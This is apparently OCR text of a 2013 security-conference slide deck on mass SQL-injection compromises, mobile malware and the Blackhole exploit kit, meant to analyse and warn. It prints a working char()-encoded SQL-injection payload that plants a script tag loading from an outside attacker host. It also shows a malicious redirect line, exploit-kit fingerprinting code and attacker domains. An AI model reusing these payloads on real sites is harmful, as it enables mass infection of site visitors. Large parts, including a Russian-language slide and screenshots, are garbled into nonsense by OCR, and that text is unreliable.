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MASS COMPROMISES




SECURITY security

Millions of Sites Hit with Mass-
Injection Cyberattack

LizaMoon mass-injection attack reaches epidemic proportions
iTune URLs and 380,000 other pages poisoned

Report: Mass Injection Attack Affects
40,000 Websites

Exploit appears similar, but unrelated, to Gumblar, researchers say

How Mass SQL Injection Attacks Became an
Epidemic
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HOW MASS COMPROMISES WORK

Identifying a vulnerability
Typically in a web applications or improperly secured or unsecured

form field

Searching for sites

Google helps a lot!

*3 Everything

[® Images

B Videos

= News
Shopping

¥ | More

San Diego, CA
Change location

All results

‘ "<script src=http://*fur.php"

About 1,530,000 results {0.34 seconds)

» CMO - Solutions</title><script src=http:/

php>ca'scripT>]

[Home] [German Version</title>=<script src=http://

[Company=<ititle=<script src=http:// php=</script=] ...
www.cmobjects.com/default.asp?ID... - Cached

CMO - News</tite><script src=http:/l..__..._ _...__... _..php></script>

News: CMO certified acc. DIN EN 150 9001 </title><script sre=http:/|
www.cmobjects.com/default.asp?ID... - Cached
| Show more results from cmobjects.com
</title><script src=http:// php></script>
-Gifts=ftitle><script src=http:// php></script> -Ladies Gifts&lt;
fitle&gt; &lt;script src=http:// ur.php&gt; &lt;/script&gt; ...
www.furfeatherandfin.com/index.asp-Q-IL-E-bathroomtitlescript-
srchitplizamoon.comur.phpscript, 60749453 - United Kingdom - Cached

Craft exploit with SQL commands
Automate and collect the checks!
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HOW MASS COMPROMISES WORK

SQL Injection

+update+Table+set+FieldName=REPLACE(cast(FieldName-+as+varchar(8000)),cast(char(60)%2Bchar(47)
%?2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%?2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))—

Code Injection

document. location =

"http://software-werp.co.cc/scanlb/2377sessionld=

B5005564994800 104903 805085105065600 10490 3804805506 8048001849038 17697 rd97 1099951 16897 m1aldel
5181115s5185111n@73100038048R51EG560611114108111512151161681m11589%9a1 1004617010103 804 8666B056
961049038116y11721010611158990110049b053804905505504806104803804905105605600104203811686104905
1048048057049050051051048038051050067050061049048038051054E048061h116116p@37051A037050FB3705
BF1831110]183 1088400990109 3 804907085204 800104903 80490 6005305000 104903807 1e 110101 rd97116ed bl
B71ell@1B]ré97116e@38050E00904800104903 80480 7206504500 184905303 8058407 005000104983 8051065057
056061050038051069056048061049 " ;
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» Beladen LEGITIMATE WEBSITE

ATTACKER

RSACONFERENCE2013

—1—

Attacker compromises
a legitimate website
and adds code that

silently redirects to the
exploit site.
USER
User browses User gets redirected
to legitimate unknowingly to exploit site.

EXPLOIT SITE

site unaware
it has been
compromised
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» Beladen

USER LEGITIMATE WEBSITE REDIRECTOR EXPLOIT SITE

_,s_,

[ INFECTED ] [ googleanalytics.net ] [ ---beladen.net ]
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» Nine-Ball

1st REQUEST INFECTED SITE REDIRECTOR 1 REDIRECTOR 2 EXPLOIT SITE

- =

2nd REQUES --.com | [ molo.tw ]

-

[ rmi.tw ]\ [ mias.tw ]

// S

[ ask.com ]
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Beladen

beladen.net

CLIENT SIDE

NE

127001 —FR g [ocalhost
ansbeladennet —2—gp 2131741522 —PEL g 213.174.128.0/19 —23 g AS39572
b.ns.beladennet ——2—p» 88.208.0183 —bEL g 88208.0.022 —25 o AS26627

/M

c.ns.beladen.net ——2—p» 88.208.1,198
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CLIENT SIDE

Beladen

91.207.6137 ——NET g 91 207.61.0/24 —25 g AS48031

pinup videofresh.net
¢.ns.googleanalytics.net ——-2— = £8.208.1.197

\H_L;
s 88.208.0.0/22 ——A5 _g». AS26627

gatardnshelpinfo ———2 = 88.208.0.179

googleanalytics.net

b.ns.googleanalytics.net

troy.urlhurt.net s
______r';__.._-'
a.ns.googleanalytics.net

2131741536 —NETL gu 2131741280119 —25 g AS39572
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THAT IS 50 2006, RIGHT?

On December 2012, ViruS_HimA, an Egyptian hacker,
appeared to have penetrated Yahoo with a SQL attack,
acquiring full access to the domain server.

He apparently did it through the horoscope page on Yahoo's
Indian site.

in.horoscopes.lifestyle.yahoo.net/indes .
You will have

great success
INDIA today as your
criminal
mischief brings
good fortune
and riches!

New User? Reaqister | Signin | Heip

YAHOO!, LIFESTYLE

astroYogi .com |
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MOBILE EXPLOITS — THEIR
CURRENT STATE




DOCUMENTED MOBILE ATTACKS

Malicious applications
Legitimate app store
Open app store

Man-in-the-mobile attacks

Trojans like ZeuS-in-the-Mobile (ZitMo) and SpyEye-in-the-Mobile
(SpitMo)

Man-in-the-browser
Man-on-the-phone (surveillance)
Premium SMS scams
QR code exploitation
Cross-app infection
Drive-by root or jailbreak
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SYMBIAN

The ZitMo version for Symbian was the first sample of this
threat obtained by antivirus companies (in late September

2010).

Certificate details
Field I Value I
Version W3
Serial number 0094c5000100 2386 f6 a7 ef f 5d aa 97
Signature algorithm shalRSA
[ssuer Symbian CA I, Symbian Limited, GB
Valid from January 17, 2011, 11:46:51 (UTC)

Valid to January 17, 2021, 11:46:51 (UTC)
Subject AML] MOBILITY SA INDIA LIMITED, Symbi...
Public key RSA (1024 Bits)
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» BSRT-2012-002 Vulnerability in
WebKit browser engine impacts
BlackBerry 6, BlackBerry 7,
BlackBerry 7.1, and BlackBerry
PlayBook tablet software

RSACONFERENCE2013

Article ID: KE30152

Type: Security Notice

First Published: 03-02-2012
Last Modified: 03-02-2012

LE 2880 O«
EE 8

Product{s) Affected:

» BlackBerry Bold 9700

v BlackBerry Curve 9360

» BlackBerry Torch 9850

» BlackBerry Curve 9380

» BlackBerry Torch 9810

» BlackBerry Bold 9650

» BlackBerry Tarch 9800

» BlackBerry Curve 9300 (3G)
» BlackBerry Curve 9350

» BlackBerry Bold 9900

» Tablets

» BlackBerry Bold 9780

» BlackBerry Pearl 9100 Series
» BlackBerry Curve 9330 (3G)
» BlackBerry Bold 9790

» BlackBerry Bold 9930

» BlackBerry Curve 9370

» BlackBerry Torch 9860
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» ExynosAbuse exploit (by alephzain)

» Any app can use it to gain root without asking and without any
permissions on a vulnerable device

» The security hole is in kernel and gives access to all physical
memory

»  Three libraries use /dev/exynos-mem:
> /system/lib/hw/camera.smdk4x12.so
> /system/lib/hw/gralloc.smdk4x12.s0
> /system/lib/libhdmi.so
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» Many devices affected:
» Samsung Galaxy S2

» Samsung Galaxy Note 2

»  All devices with specific processors and Samsung kernel sources

» RAM dump, kernel code injection possible via app installation from

Play Store

RSACONFERENCE2013

websense



ANDROID

In one year, Android malware up 580%,
23 of the top OO apps on Google Play

W deemed "High Risk’

THE NEXT WEB =i
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BILL SHOCKER — OH, JOY

Discovered late January 2013
Primarily confined to China
Third-party app stores is where it’s at

Infected versions of popular apps including Sohu News
and Tencent QQ Messenger

More than 600,000 users in China affected

Takes control of devices contact list, and texting functions, among
other things

SMS fraud is the primary result
The big danger?
Capable of upgrading itself and infecting other apps on the device

RSACONFERENCE2013 websense



» Less than a month after release;

Bulletin Identifier

Aggregate Severity
Rating

Windows 8 for 32-bit
Systems

Windows 8 for 64-bit
Systems

Bulletin 2
Critical

Windows B for 32-bit

Systems
(Critical)

Windows B for 64-hit

Svstems
(Critical)

Bulletin 4
Critical

Windows 8 for 32-bit

Systems
(Critical)

Windows & for 64-hit

Systems
(Critical)

Bulletin 5
Critical

Windows B for 32-bit

Systems
(Critical)

Windows B for 64-hit

Svstems
(Critical)

Bulletin Identifier

Aggregate Severity
Rating

Windows RT

RSACONFERENCE2013

Bulletin 2

Mot applicable

Bulletin 4

Important

Windows RT
(Important)

Bulletin 5

Critical

. Critical

websense



WINDOWS 8

Cybercriminals are similar to
legitimate application
developers in that they focus on
the most profitable platforms. As |/
development barriers are / S
removed, mobile threats will be /
able to leverage a huge library of |
shared code. 3
Past exploits and knowledge of
MSFT Windows will lend itself to

future attacks, regardless of
adoption.
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iPhone

New services bypass Apple DRM to allow pirated iOS app
installs without jailbreaking on iPhone, iPad

Zeusmos

Processing 1 File

Download_

Carrier & 11:16 PMY

VAT |

Relevance Popular 'New Updates 7 Total Data Usage |

7 Instaframe Pro - Ph..} P T ———
AngryBirds.ipa

. atebits LLC
wd i
E i Twitter
Version: 4.0.1

A MINOWORKS
g Followorks - No.1 Twitter...
. ¥ Version: 1.5.0

Signing...

Ayman Mustafa
‘ f Twitter Manager
Version: 1.0.1
P 4
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i0S
i0S51.0

i0S 2.0
i0S 3.0
i0S 4.0
i0S 5.0
i0S5 6.0

RSACONFERENCE2013

IPHONE

Release date Date of first jailbreak
June 29, 2007 June 29, 2010

July 11, 2008 July 20, 2008

March 17, 2009 June 19, 2009

June 21, 2010 June 21-23, 2010

October 12, 2011 October 13, 2011
September 19,2012 September 19, 2012
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JAILBREAKME

slide to jailbreak

JallbreakMe

by comex (et al.)

In the wrong

hands: Jailbreak to get tweaks and apps
Apple won't allow in the App Store.

Free, legal, safe.

You should sync with iTunes before
using this tool.

More Info »
owse to compromi
' slide to jailbreak
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YEAH, 50...7
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WHO CARES?

What does this have to do with the price of beans?

A recent study conducted by the Ponemon Institute found that 59%
of corporations that allow BYOD report that their employees fail to
lock their personal devices, and 51% experienced some form of data
loss as a result.

Without basic protections like passwords, anyone who picks up a lost
or stolen device that's attached to a corporate network can access
potentially sensitive data like e-mails and contact lists.

A recent PricewaterhouseCoopers study found that 88% of
consumers use their own mobile devices for both personal and work

purposes, yet just 45% of companies have a security strategy to
address BYOD devices.
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B Windows 8

"2 BlackBerry.

CN>D=X0ID
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ntually)

By David Goldman @CNN

NEW YORK (CNNMon
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EXPLOIT KITS
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WHAT IS AN EXPLOIT KIT?

What is an exploit kit?

Collection of exploits targeting vulnerabilities in client
vulnerabilities, targeting browsers and programs triggered by
browser activity.

Hacking for Dummies

Past exploit kits
Phoenix (PEK) dates back to 2007,Siberia, Mpack, IcePack, Neosploit,
Hierarchy
Typically fluctuating in usage and volume
Exploits and admin relatively static
Effectiveness declines with patching
Attack duration limited
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WHAT IS BLACKHOLE?

Blackhole

Creators of the kit are suspected to be "HodLuM" and "Paunch”
Most prevalent on the web?

Websense - 65% of all exploit detections

AVG - 91%

Sophos - 28 %

Microsoft — Leads other exploit families in prevalence by factor of 2

Typlcal Kit Blackhole
Typically fluctuating in usage and Usage accelerating — “King of the
volume Kits”
Exploits and admin relatively static Exploits continually added and
Effectiveness declines with admin interface updated
patching Addition of exploits extends
Attack duration limited window of effectiveness

Attack duration extended

RSACONFERENCE2013 websense



BLACKHOLE

The customer licenses the Blackhole exploit kit from the authors and specifies
various options to customize the kit.

A potential victim loads a compromised web page or opens a malicious link in a
spammed email.

The compromised web page or malicious link in the spammed email sends the
user to a Blackhole exploit kit server's landing page.

This landing page contains obfuscated JavaScript that determines what is on the
victim's computers and loads all exploits to which this computer is vulnerable
and sometimes a Java applet tag that loads a Java Trojan horse.

If there is an exploit that is usable, the exploit loads and executes a payload on
the victim's computer and informs the Blackhole exploit kit server which exploit
was used to load the payload.
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ATTACKTYPES

.é o Subject: Re: Re: Scan from a Xerox W. Pro #8437923
b i :
o e A Document was sent to you i D el L
SENT BY: MAMIE mpwiki/uploads/haneu.htm
IMAGES Click to follow link
FORMAT (.JPG) DOWNLOAD
DEVICE: PDO7912SK3AQR0TI07T6L
Fom
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1 —
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IE =r TH onling virus check

q.TK proven anb-virus

. 2 TK proven ant-virus
| Sandy Montejano
| @ RosieHol " goldfish = zas I TK excedlent anti-virus
5 Drugs. - BUY QUALITY DRUGS from the US based pharmacy - Moz
Grace Staudt De L ER_ oieeerle . Dk teb DE®
2 L v“’F"'”"‘@ - i [ ——— + -| [ . _
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» Types of payloads:

» Zeus » DNSChanger

» Cridex » Monkif

» Parfeit » SpyEye

» GameOver » Darkshell

» Flashback » Nitol

» KillAV Trojan » AV Live Platinum Security
» TDL

» ZeroAccess

» Anti-Spyware 2011
» Morto

» Poison lvy

» GhostRAT

» NGRBot
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CROSS-PLATFORM

) Blackhole STATISTICS BLOCKED STATISCTICS THREADS FILES SOFT VERSIONS SECURITY PREFERENCES LOGOUT

MAIN SETTINGS ANTIVIRUS CHECE
Akvin file Ardrus service
e Scontyou E:
Pubbe cbatictic scriph Filename 1} Tokzh
o
Language Charips
Pyccruii = Changs
DOMAINS LIMITS
CHANGE PASSWORD
M Damasines kits
O password New password Disable domain on A¥ count 30 ¥
IF thara ic no chean domaine
Confirm passveord o
* e ot clean domain
™ disable sphoit pack
Changes
REFERERS DELETE STATISTICS
T Dok keep referers records Dwlate

= yeep referers records
T Keep referers records without shiovng it in Quest stat

GEOIP
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Yol can” b restore data after deleta, be patient

Thread:  shmus j
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CROSS-PLATFORM

213 c.initObj(e, [*5", c);
14 = for {f in c.Plugins) {
215 = Cif (e Pluging[f]) {
215 | cinitObjic.Plugins[, ['8", &, "5§", c.Plugins[f]], 1)
217 ]
218 3
219 c.05 = 100;
220 = if (b) {
2 Eovard = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone”, 21.1, "iPad”, 21.2, "iPad", 21.3, "Win *CE", 22.1, "Win.*Mabile", 22.2, "Pocketths™PC", 223, ", 100];
22 = - for f=dlength- 2, f>=0; f=1-29{
223 H if (d[f] && new RegBxp(d[f], "i").testib)) {
224 CooDS=df+1];
225 i hreak
226 o
227 ]
]
229 c.convertFuncs(c);
230 t.head = (document. getElermentsByTagMame("head")[0] || document.getElementsByTagName("body")[0] || document. bady || null);
231 £.islE = (new Function("return " + e + "E@ec_onl@™ + e + "falze");
232 cverlE = cislE && (MSIEW M+ P\d )i test(l) ? parseFloat(RegExp. $1, 100 : null;
233 c.ActivexEnabled = falge;
23 H= if (c.isIE) {
235 ovarf, | = ["Msxml2 SMLHTTP", "Msxml2 DOMDocument”, "Micrasoft XMLDOM®, "ShockwaveFlash. ShackwaveFlash”, "TDCCHL TDCCH", "Shell. UlHelper", "Scripting. Dictionary”, “wmplayer oo
iR - for (f=10; f < [ length; f++){
237 = C o if fooetAXOGN |
238 i coActiveXEnabled = true;
239 break
240
241 Pl
242 ]
243 c.isGecko = (fGecko/i).testih) && ((Geckois™Ms™d/). test]);
cverGecko = cisGecko ? c.formatMum(rds™ e ] 4100 test (i) 7 RegBxp $1 : "0.8" : null;

Blackhole’s landing page already contains code to identify
many client OS, even mobile!!
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YOUR MOBILE IS A COMPUTER

Most people keep some very intimate details on their mobile
devices

Email, contacts and calendars

Bank credentials

Social networking credentials

Mobile devices are exploding in popularity!
Most work and play on their mobile devices

Mobile device vendors produce devices with multiple OS versions
Gingerbread vs. Ice cream sandwich vs. Jellybean devices
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YOUR MOBILE IS A COMPUTER

Current attack surface for mobile devices is in malicious apps
Slow and cumbersome: Nothing to drive mass victims
Mobile malware usually used for premium number dials?

Root capabilities are available
Some require physical install others can be done remote
Users like to tweak and customize devices
Consider it akin to running windows as Admin
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1 (MASS COMPROMISES) +

Most prevalent threats to desktop environments are mass
attacks, typically over the web

Attacks such as exploit kits occur all the time and typically use old
exploits with success!

Windows is most targeted platform due to popularity

The growth of mobile devices will make mass mobile attacks

a natural progression

Multiple versions of Android in the market is a larger attack surface
for old vulnerabilities!

Rooted devices may not need privilege escalation
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Windows 8
Bulletin Identifier

Aggregate Severity
Rating

Windows 8 for 32-bit
Systems

Windows 8 for 64-bit
Systems

Windows RT
Bulletin Identifier

Aggregate Severity
Rating

Windows RT
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1+ 1(MOBILE EXPLOITS)

1. Adobe Flash
Player

Jailbreak to get tweaks and i
Apple won't allow in the App

Free, legal, safe.

You should sync with iTunes
using this tool.

More Info »
& 7. Record My
call

ok ko

de to jailbre

b8 8 8 8/

9. Green Power
+ Premium

rket

Last Mod

b k=]
== (-

Product((:

BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
BlackBe
Tablets

BlackBe
BlackBe
BlackBe
BlackBe

¥ ¥ ¥ XYY YFYAYYYNATYAN

Article ID:

Article x0: 125052 -
4 2L =H =1 ey »

—— Certificate details

Field I Value |

BlackBe. 1,
BlackBerry Curve 9370
BlackBerry Torch 9860

Google Play

KEBE320152

Version

Serial number
Signature algorithm
Issuer

Valid from

Valid to

Subject

Public key

V3

0094c5 000
shalRSA
Symbian CA T
January 17, 2
January 17, 2
ANUI MOBILT
RSA (1024 Bit

aSImian
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1+ 1+ 1(EXPLOIT KITS)

Version 2.X, released September 12, 2012
BlackHole exploit Kit 2.8

Fags NpUBEETCTEOEdThE BoM COBEQWEHHD HOBYE BEpPCHE CBAIKH 3KCNAoAToB. 3a Gonee u
NEoEKTd, ETEFﬂﬁ OBWROK CBASKH W3IpAAHD 33e34MNM W 38TdCKdNW, AB KOMNIHWW CTdnM
HEKHWM KpWUTEepHAM 4To 3TCo BlackHole W nomedyaThk €2 Kak malware. B HOBOMH BEDCHH M
C HY¥NA nepenMCdHd HE TOAbKD 4YdCTh C Balaayen 3KEHHDETGB, H W ddMHH NMdHEMNb.

W3 HOBWECTE NO Balddde:

1. Ml MAKCHMManbHO 33@MTHAM IKCNACOHTH OT @BTOCKAYMBIHWMA MX AB KOMNAHWAMMW, Tene
¥PN, KOTOPod OEACTEBMTENEH B TEYEHMHW HECKONbBKWX CEKYHO, HYXHLX AWWb 404 COHOrO
JANOAAWEr0 Ha CCuIKY 4YenoBeKa.

2. Tenepbk TdK HE MIKCHMINbHO 3IoWMEEH W Bow &Xe, AB KOMOGHWA HE CMORET ero npo
AELHDITE BdWd £¥& MIKCHMIARHD 400N B YHCTOTE.

3. JAR W PDF ¢Eﬁﬂﬂ BRldgTCA TOARKD TEM BEQCHAM NAdrMHOB, KOTOPRIE YASBWMDl, £CA
BalgdETCA, W HE Nd4YKIETCA NWWHMWA pds.

4. Ham yaanock OTKa3atecA oT plugindetect ana onpegeneHWA BEpCHM ABALl, 4YTO NO3
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Blackhole Exploit Kit already tracks
mobile clients

“in order to see how much of your traffic is
mobile, and mobile traffic, you can redirect \ 7
to the appropriate affiliate.

Each major platform already has
malware issues

Exploits are used to “root” devices
All that's left is to connect the dots
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MASSIVE MOBILE ATTACK




FLYING CARS

Understand/Profile the attackers
Most users of exploit kits are script kiddies (skiddies)

Developers usually provide the glue
Exploits and obfuscation usually done separately

Zero days are usually in exploit kits because they are copied
and pasted

The only thing missing from the mass mobile attack model is
the weaponizing of rooting techniques

Web exploit + malware payload = pOwn
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ATTACK PROGRESSION

Vectors of attack can remain the same as the desktop

Emails
Web, Social, and IM
SMS

from

LIVE: |

Control. View. Share

=r TH onling virus check

I-Money

"ln"ta q.TK proven anb-virus

Felicia DeSousa

K proven ant-virus

| Sandy Montejano

guiddfish * zas I TH excedient andi-virus

Grace Staudt

1 TK proven anti-virus

Jenniter Stockemer
nam " dalal

TK excelent ant-virus

Subject:

A Document was sent to you
SENT BY: MAMIE
IMAGES : 5

FORMAT (JPG) DOWNLOAD

DEVICE: PD0O7912SKEAOR0

Firafox security alert

3. Sy s secormmmencs vou 10 el

Re: Re: Scan from a Xerox W. Pro #8437923

maniannlly susgand
ty wirson. Flease dewn

hity S——
mpwiki/uploads/haneu.htm
Click to follow link

reew |

o
2 " = o
8 & ow . X 3
It be il e sl o
8 11 sivanm o Hoh Preey =i
m
Dater )
o 0
-

Sulkjek: | Vouw ATAT i ety it

Pl st compuh it st



WEDON'T NEED NO STINKIN"TDS

TDS (traffic direction script)
In today’s increasingly mobile world, dynamic sites already determine
OS, browser and screen resolution to deliver content.

Responsive web design removes the necessity for complex TDS

If | have an iOS 6 visitor with 2048-by-1536 resolution at 264 pixels per
inch (ppi), | already know it is likely to be the new iPad

The Boston Globe

brimdisiger  (bama unveils $3.8
trillion spending
lan

------
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Targeting m. subdomains allow hackers to only use mobile

M.SITE TARGETING

exploits — an efficient delivery

pb ATEY 20

10:22 PM

- ATET 3G 10:02 PM

®CBSSPORTS [V]OBILE

FREE BCESSPORTS iPhone App

RSACONFERENCE2013

Get Scores [ Menu |

ALL

ECBSSPORTS MOBILE e

e MLB  NBA  NHL NFL

Top Story
Blowout Part Il

LeBron James and
the white-hot Cavs
are on a mission. For
the second straight
\ playolf game, James
NN -- who scores 27
¥ points - and Clevel... »

LeBron, Cavs blow out Hawks - again - to
take 2-0 serles lead

LeBron James scored 27 points, ending the first
and second quarters with last-second baskets,
and the Cleveland Cavaliers overpowered the
Atlanta Hawks 105-85 on Thursday night to
Introducing the new, ST B

unmistakable Audi Q5. L
» Expariance mors. Aud
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EFFICENT HACKING

Doing more with less:
Mobile only targeting means more efficient coding

We know they aren’t running desktop OS and standard desktop
applications

Don't need to pack those in my exploit kit
Less exploits need to be delivered to achieve successful compromise
Work within the confines of mobile platforms

Dropped malware is specific to the activities of which mobile devices
are capable

SMS fraud

Surveillance (audio, email and text)

Data theft
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MASS MOBILE COMPROMISES

Za Ml & 10:00 Pm

S SECURITY cccurity

Mllllons of Sites Hit with Mass-
Injection Cyberattack

QQQQQQQQQQQQQQQQ

Report Mass Injection Attack Affects
©< 40,000 Websites

Exploit appears similar, but unrelated, to Gumblar, researchers say

How Mass SQL Injection Attacks Became an
Epidemic
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EFFICENT HACKING

MOBILE WEB EXPLOIT + MALWARE PAYLOAD =

1 ATET 3G 10:02 PM @CBS SPORTS VOBILE
@CBSSPORTS [MOBILE 0D | wes | Nea | wL | e B

Top Story

Blowout PM = . e Blowout Part Il

LeBron James and

the white-hot Cavs

are on a mission. For

the second straight

playoff game, James
Y - who scores 27

points -- and Clevel... »

LeBron, Cavs blow out Hawks - again - to
take 2-0 series lead

eBron James scored 27 points, ending the first
gcond quarters with last-second baskets,
leveland Cavaliers overpowered the
&5 on Thursday night to
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